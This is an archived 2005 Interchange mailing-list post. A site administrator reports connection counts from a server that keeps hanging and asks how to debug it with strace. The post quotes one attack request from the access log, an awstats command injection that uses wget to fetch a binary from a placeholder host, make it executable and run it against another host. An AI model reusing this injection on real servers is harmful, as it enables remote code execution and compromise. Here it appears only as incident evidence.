############Server process count and connections count before restarting Apache & Interchange.
Sun Nov 20 03:55:31 GMT 2005
16 connections to Apache port 80
0 connections to Apache port 443
24 Apache processes
7 IC processes
35 MySQL processes
Number of TCP and UDP connections for each IP, grouped by state
3 our_website's_IP CLOSE_WAIT
3 our_website's_IP FIN_WAIT2
10 hackers_IP CLOSE_WAIT
Number of active Unix domain sockets, grouped by state and path
1 STREAM /usr/local/interchange/etc/socket.ipc
10 DGRAM
17 STREAM /usr/local/interchange/etc/socket
23 STREAM /var/lib/mysql/mysql.sock
96 STREAM
##############
The Apache access log shows just 3 entries before the site went down, all
from hackers_IP. For interest, these were along the lines of:
/cgi-bin/awstats/awstats.pl/?configdir=|echo;echo YYY;cd /tmp;wget x.x.x.x/flisten;chmod +x listen;./listen y.y.y.y;echo YYY;echo|
where x.x.x.x and y.y.y.y were two remote IP addresses. BTW, I don't have awstats installed, and resending the above request from my browser doesn't cause any problems - I just get the Interchange missing.html page as you would expect.
I have searched the interchange error log, the catalog error log and the apache error log and can find no evidence at all of any problem prior to the site going down, but it seems clear that this hacker must have sent something to Apache that caused Apache, mod_interchange or interchange to hang.
Notice from the above that hackers_IP had 10 connections to the server in the CLOSE_WAIT state just before Apache and Interchange were restarted by the script. There were also another 6 connections where the foreign address was actually the same as local address i.e. both were the IP address of the website - I am not sure why localhost would have a connection open to itself - I am intrigued, but I am sure it is not relevant to the server going down.
So it seems to me we somehow need some more debugging information. Racke mentioned using strace early on in this thread:
"First of all you should try to strace all the IC processes to see if it does system calls and watch your logfiles (IC and system logfiles) as well.If no system calls happened it might caught up in an infinite loop somewhere."
Can someone explain how I might use strace? I won't be able to interpret the output myself but I am happy to post snippets in the hope that it may be useful to others in tracking down the problem. Any other ideas on how to track down what may be bringing the site down? Thanks
___________________________________________________________ WIN ONE OF THREE YAHOO! VESPAS - Enter now! - http://uk.cars.yahoo.com/features/competitions/vespa.html
_______________________________________________ interchange-users mailing list suppressed http://www.icdevgroup.org/mailman/listinfo/interchange-users
Mail converted by mhonarc 2.6.15
This archive provided courtesy of JSW4.NET, Internet Hosting Services for Small Business.